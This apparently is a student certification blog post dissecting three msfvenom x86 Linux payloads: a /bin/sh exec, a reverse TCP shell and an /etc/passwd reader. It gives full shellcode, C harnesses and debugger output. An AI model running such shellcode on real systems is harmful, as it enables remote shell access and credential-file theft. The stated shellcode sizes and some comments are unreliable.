SLAE x86 Assignment 5: Msfvenom Shellcode Analysis
Msfvenom Shellcode Analysis
- Analyze 3 shellcode samples created using Msfvenom for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present the analysis
Concept
Msfvenom will be used to generate the payloads for each of the 3 examples, along with an analysis/debugging of the shellcode and the associated system calls required to execute the payloads.
The 3 Msfvenom examples that will be presented:
linux/x86/exec
linux/x86/shell_reverse_tcp
linux/x86/read_file
1st Shellcode (linux/x86/exec)
The exec payload will generate shellcode which spawns a /bin/sh
shell using the CMD
parameter:
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/exec CMD=/bin/sh --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 205 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
A C program scripted with the newly generated shellcode:
/**
* Filename: exec_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Spawn a shell on the local host
* Compilation: gcc -fno-stack-protector -z execstack -m32 exec_shellcode.c -o exec
* Usage: ./exec
* Shellcode size: 15 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
int main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
As a POC, the C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 15 bytes:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -zexecstack exec_shellcode.c -o exec
osboxes@osboxes:~/Downloads/SLAE$ ./exec
Shellcode length: 15
$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
The GDB (GNU Debugger) tool is used to step through the program code and analyze the system calls:
osboxes@osboxes:~/Downloads/SLAE$ gdb ./exec --quiet
Reading symbols from /home/osboxes/Downloads/SLAE/exec...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/osboxes/Downloads/SLAE/exec
Shellcode length: 15
Breakpoint 1, 0x0804a040 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>: push 0xb ; push 0xb (11) onto the stack
0x0804a042 <+2>: pop eax ; pop 0xb into eax
0x0804a043 <+3>: cdq ; set edx to 0
0x0804a044 <+4>: push edx ; push 0 onto the stack
0x0804a045 <+5>: pushw 0x632d ; push -c argument onto the stack
0x0804a049 <+9>: mov edi,esp ; move stack pointer into edi
0x0804a04b <+11>: push 0x68732f ; push hs/ onto the stack (/bin/sh in reverse order)
0x0804a050 <+16>: push 0x6e69622f ; push nib/ onto the stack (/bin/sh in reverse order)
0x0804a055 <+21>: mov ebx,esp ; move stack pointer into ebx
0x0804a057 <+23>: push edx ; push 0 onto the stack
0x0804a058 <+24>: call 0x804a065 <code+37> ; call address 0x804a065 (/usr/bin/id)
0x0804a05d <+29>: das
0x0804a05e <+30>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804a061 <+33>: das
0x0804a062 <+34>: jae 0x804a0cc
0x0804a064 <+36>: add BYTE PTR [edi+0x53],dl
0x0804a067 <+39>: mov ecx,esp ; move stack pointer into ecx
0x0804a069 <+41>: int 0x80 ; call the interrupt to execute the execve syscall
0x0804a06b <+43>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) break *0x0804a069
Breakpoint 2 at 0x804a069
(gdb) c
Continuing.
Breakpoint 2, 0x0804a069 in code ()
(gdb) disassemble
Dump of assembler code for function code:
0x0804a040 <+0>: push 0xb
0x0804a042 <+2>: pop eax
0x0804a043 <+3>: cdq
0x0804a044 <+4>: push edx
0x0804a045 <+5>: pushw 0x632d
0x0804a049 <+9>: mov edi,esp
0x0804a04b <+11>: push 0x68732f
0x0804a050 <+16>: push 0x6e69622f
0x0804a055 <+21>: mov ebx,esp
0x0804a057 <+23>: push edx
0x0804a058 <+24>: call 0x804a065 <code+37>
0x0804a05d <+29>: das
0x0804a05e <+30>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804a061 <+33>: das
0x0804a062 <+34>: jae 0x804a0cc
0x0804a064 <+36>: add BYTE PTR [edi+0x53],dl
0x0804a067 <+39>: mov ecx,esp
=> 0x0804a069 <+41>: int 0x80
0x0804a06b <+43>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) stepi
process 6223 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ exit
[Inferior 1 (process 6223) exited normally]
(gdb) quit
The disassembled code consists of the following components:
- execve syscall ->
0xb
- -c argument ->
0x632d
/bin/sh
->0x68732f &
0x6e69622f
- call instruction ->
/usr/bin/id
2nd Shellcode (linux/x86/shell_reverse_tcp)
A Reverse TCP shell initiates a connection from the target host back to the attacker’s IP address and listening port, executing a shell on the target host’s machine:
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
A C program scripted with the newly generated shellcode:
/**
* Filename: reverseshell_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Reverse shell connecting back to IP address 127.0.0.1 on TCP port 4444
* Compilation: gcc -fno-stack-protector -z execstack -m32 reverseshell_shellcode.c -o reverseshell
* Usage: ./reverseshell
* Testing: nc -lv 4444
* Shellcode size: 26 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
As a POC, the C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 26 bytes:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -zexecstack reverseshell_shellcode.c -o reverseshell
osboxes@osboxes:~/Downloads/SLAE$ ./reverseshell
Shellcode length: 26
A separate terminal demonstrating a successful reverse connection and shell on the local host (via port 4444):
osboxes@osboxes:~$ nc -lv 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
The Sctest tool, part of the Libemu test suite, is used to inspect the program code and analyze the system calls:
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | sctest -vvv -Ss 42
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 16777343 (host=127.0.0.1);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
Sctest is used to emulate the specific instructions in the shellcode visually displaying the execution of the reverse shell payload. The parameters included in the Msfvenom payload are all visibly shown, the listening host, listening port and /bin/sh
shell.
The required syscalls are shown:
- socket
- dup2
- connect
- execve
3rd Shellcode (linux/x86/read_file)
The Read File payload reads a chosen file as specified, requiring 2 arguments, the file descriptor to write the output to (standard output), and the PATH
to the file:
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
A C program scripted with the newly generated shellcode:
/**
* Filename: readfile_shellcode.c
* Author: h3ll0clar1c3
* Purpose: Read a specified file on the local host
* Compilation: gcc -fno-stack-protector -z execstack -m32 readfile_shellcode.c -o readfile
* Usage: ./readfile
* Shellcode size: 4 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
int main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
As a POC, the C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 4 bytes:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -zexecstack readfile_shellcode.c -o readfile
osboxes@osboxes:~/Downloads/SLAE$ ./readfile
Shellcode length: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/bash
The Ndisasm tool (similar to GDB) is used to step through the program code and analyze the system calls:
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
00000000 EB36 jmp short 0x38 ; jmp to address 0x38 (jmp, call, pop)
00000002 B805000000 mov eax,0x5 ; open syscall = 0x5
00000007 5B pop ebx ; pop address of /etc/passwd into ebx
00000008 31C9 xor ecx,ecx ; zeroize ecx register, open file as O_RDONLY
0000000A CD80 int 0x80 ; call the interrupt to execute the open syscall
0000000C 89C3 mov ebx,eax ; move eax into ebx (0x5)
0000000E B803000000 mov eax,0x3 ; read syscall = 0x3
00000013 89E7 mov edi,esp ; move stack pointer into edi
00000015 89F9 mov ecx,edi ; move stack pointer into ecx
00000017 BA00100000 mov edx,0x1000 ; move 0x1000 (4096) into edx
0000001C CD80 int 0x80 ; call the interrupt to execute the read syscall
0000001E 89C2 mov edx,eax ; size of read data
00000020 B804000000 mov eax,0x4 ; write syscall = 0x4
00000025 BB01000000 mov ebx,0x1 ; move 0x1 (stdout) into ebx stdout
0000002A CD80 int 0x80 ; call the interrupt to execute the write syscall
0000002C B801000000 mov eax,0x1 ; exit syscall = 0x1
00000031 BB00000000 mov ebx,0x0 ; move 0 (exit/return code) into ebx
00000036 CD80 int 0x80 ; call the interrupt to execute the exit syscall
00000038 E8C5FFFFFF call 0x2 ; jmp up, put next instruction onto the stack
0000003D 2F das ; read the file contents (/etc/passwd)
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
The disassembled code consists of the following components:
- open syscall ->
0x5
- read syscall ->
0x3
- write syscall ->
0x4
- exit syscall ->
0x1
SLAE Disclaimer
This blog post has been created for completing the requirements of the SLAE certification.
Student ID: PA-14936
GitHub Repo: Code